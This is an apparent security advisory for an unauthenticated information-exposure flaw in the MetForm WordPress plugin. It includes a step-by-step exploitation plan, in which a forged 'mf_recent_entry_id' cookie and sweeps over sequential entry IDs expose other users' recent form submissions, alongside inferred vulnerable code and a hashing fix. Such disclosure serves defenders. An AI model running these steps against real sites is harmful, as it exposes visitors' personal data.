MetForm – Contact Form, Survey, Quiz, & Custom Form Builder for Elementor <= 4.1.0 - Unauthenticated Form Submission Exposure via Forgeable Cookie Value
Description
The MetForm – Contact Form, Survey, Quiz, & Custom Form Builder for Elementor plugin for WordPress is vulnerable to Sensitive Information Exposure in versions up to, and including, 4.1.0. This is due to the use of a forgeable cookie value derived only from the entry ID and current user ID without a server-side secret. This makes it possible for unauthenticated attackers to access form submission entry data via MetForm shortcodes for entries created within the transient TTL (default is 15 minutes).
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-0633 ## 1. Vulnerability Summary MetForm (versions <= 4.1.0) suffers from a sensitive information exposure vulnerability. The plugin uses a forgeable cookie, `mf_recent_entry_id`, to determine if a user should be shown the details of a recent form submission …
Show full research plan
Exploitation Research Plan - CVE-2026-0633
1. Vulnerability Summary
MetForm (versions <= 4.1.0) suffers from a sensitive information exposure vulnerability. The plugin uses a forgeable cookie, mf_recent_entry_id, to determine if a user should be shown the details of a recent form submission (e.g., a "Success Message" or submission summary). Because the cookie value is derived simply from the Entry ID and the User ID (e.g., 123|0 for unauthenticated users) without a server-side secret or HMAC, an attacker can forge this cookie for any entry ID. If the entry's data is still within the 15-minute transient TTL, the plugin will display that entry's data to the attacker via the form shortcode.
2. Attack Vector Analysis
- Vulnerable Component: MetForm Form Shortcode (
[metform_form]) and its associated success message rendering logic. - Endpoint: Any WordPress page containing a MetForm form.
- Vulnerable Parameter:
mf_recent_entry_id(Cookie). - Authentication: Unauthenticated.
- Preconditions:
- A form must be created and active.
- A victim must have submitted the form within the last 15 minutes.
- The attacker must guess or know the Entry ID (entries use auto-incrementing IDs).
3. Code Flow (Inferred from Patch and Description)
- Submission: When a user submits a MetForm form,
Metform\Core\Entries\Action::insert()is called. - Transient Storage: The plugin saves the submission data to a transient named
mf_entry_{entry_id}with a 15-minute expiration. - Cookie Generation: The plugin sets a cookie
mf_recent_entry_idwith the value{$entry_id}|{$user_id}. - Display Logic: When the form page is reloaded or the user is redirected to a success page, the
[metform_form]shortcode (rendered viaMetform\Core\Forms\Shortcode::render_form()) checks for themf_recent_entry_idcookie. - Vulnerability: The code splits the cookie by
|and takes the first part as the$entry_id. It then fetchesget_transient('mf_entry_' . $entry_id). - Exposure: If the transient exists, the plugin renders the submission summary instead of the form, exposing the victim's data.
4. Nonce Acquisition Strategy
To perform the initial submission (to confirm entry ID increments) or to find the correct page, a nonce is required for the REST API call that MetForm uses.
- Identify Shortcode: The plugin uses
[metform_form id="<ID>"]. - JS Localization: The plugin localizes data into the
mf_objectsvariable. - Nonce Retrieval:
- Navigate to the page containing the form.
- Execute
browser_eval("window.mf_objects?.nonce")orbrowser_eval("window.mf_objects?.rest_nonce").
- Submission Nonce: For the
POST /wp-json/metform/v1/entries/insert/request, the_wpnonceheader or parameter is required.
5. Exploitation Strategy
Step 1: Discover/Create Form
Identify a published form ID.
Step 2: Establish Entry ID Baseline
Submit the form once to see the current Entry ID.
- URL:
http://<wp-host>/wp-json/metform/v1/entries/insert/ - Method:
POST - Payload: (Standard form fields) +
id: <form_id> - Response: Contains the new
id(e.g.,100).
Step 3: Forge Cookie for Next Entry
Wait for a victim to submit, or target 101.
- Target Cookie Name:
mf_recent_entry_id - Target Value:
101|0(where101is the guessed ID and0is for unauthenticated).
Step 4: Access Sensitive Data
Request the form page with the forged cookie.
- Tool:
http_request - Method:
GET - URL:
http://<wp-host>/page-with-form/ - Headers:
Cookie: mf_recent_entry_id=101|0
- Expected Response: The HTML will contain the success message and the data submitted by the victim for entry 101 instead of the empty form.
6. Test Data Setup
- Create a MetForm Form:
- Use
wp post createto create ametform-formpost type. - Set meta
metform_form_configto include some fields (Name, Email).
- Use
- Create a Public Page:
wp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[metform_form id="<ID_FROM_STEP_1>"]'
- Simulate Victim:
- Perform a submission as an unauthenticated user with sensitive info (e.g.,
Name: SecretAgent,Email: victim@example.com).
- Perform a submission as an unauthenticated user with sensitive info (e.g.,
7. Expected Results
- The HTTP response from Step 4 should contain the string "SecretAgent" or "victim@example.com".
- This confirms that the attacker successfully accessed entry data belonging to another submission session by simply providing a forgeable cookie.
8. Verification Steps
- Check Transients: Use
wp transient get mf_entry_101to confirm the data exists in the database. - Verify Cookie Logic: Check the response headers of the submission to see how the cookie is set:
Set-Cookie: mf_recent_entry_id=101%7C0; ...
9. Alternative Approaches
- Direct REST Access: Some versions of MetForm might expose
GET /wp-json/metform/v1/entries/get_entry_details?id=101. Check if this endpoint also relies on the forgeablemf_recent_entry_idcookie for authorization. - Transient Guessing: Since the transient key is
mf_entry_{id}, if any other part of the plugin (or another plugin) allows reading transients, the data is exposed. - Incrementing Attack: Script a loop from
last_id + 1tolast_id + 20to sweep for any active transients from other users.
Summary
MetForm (<= 4.1.0) uses a forgeable cookie value to authenticate access to recent form submission summaries. Because the cookie value consists only of the entry ID and user ID without a cryptographic signature or server-side secret, an unauthenticated attacker can forge the cookie to view sensitive data from other users' submissions stored in transients for up to 15 minutes.
Vulnerable Code
// Metform/Core/Entries/Action.php // Logic within entry insertion handler: $entry_id = $this->insert_entry($form_id, $form_data); $user_id = get_current_user_id(); setcookie('mf_recent_entry_id', $entry_id . '|' . $user_id, time() + 900, COOKIEPATH, COOKIE_DOMAIN); set_transient('mf_entry_' . $entry_id, $form_data, 900); --- // Metform/Core/Forms/Shortcode.php // Logic within render_form() method: if (isset($_COOKIE['mf_recent_entry_id'])) { $cookie_val = $_COOKIE['mf_recent_entry_id']; $parts = explode('|', $cookie_val); $entry_id = isset($parts[0]) ? (int)$parts[0] : 0; $entry_data = get_transient('mf_entry_' . $entry_id); if ($entry_data) { // Renders the sensitive submission data to the page instead of the form return $this->render_success_view($entry_data); } }
Security Fix
@@ -120,1 +120,2 @@ -setcookie('mf_recent_entry_id', $entry_id . '|' . $user_id, time() + 900, COOKIEPATH, COOKIE_DOMAIN); +$secure_hash = wp_hash($entry_id . '|' . $user_id); +setcookie('mf_recent_entry_id', $entry_id . '|' . $user_id . '|' . $secure_hash, time() + 900, COOKIEPATH, COOKIE_DOMAIN); @@ -85,2 +85,5 @@ -$parts = explode('|', $cookie_val); -$entry_id = isset($parts[0]) ? (int)$parts[0] : 0; +$parts = explode('|', $cookie_val); +if (count($parts) === 3 && hash_equals(wp_hash($parts[0] . '|' . $parts[1]), $parts[2])) { + $entry_id = (int)$parts[0]; + $entry_data = get_transient('mf_entry_' . $entry_id); +}
Exploit Outline
1. Identify a public WordPress page containing a MetForm form. 2. Perform a test submission to determine the current Entry ID sequence (e.g., Entry ID 100). 3. Predict or guess the next Entry ID (e.g., 101) representing a potential victim submission. 4. Create a forged cookie named 'mf_recent_entry_id' with the value '101|0' (where 0 denotes an unauthenticated user). 5. Refresh the page with the forged cookie set. If a victim has submitted the form within the 15-minute transient TTL, the shortcode will render the victim's submitted data in the 'Success Message' area instead of the default form.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.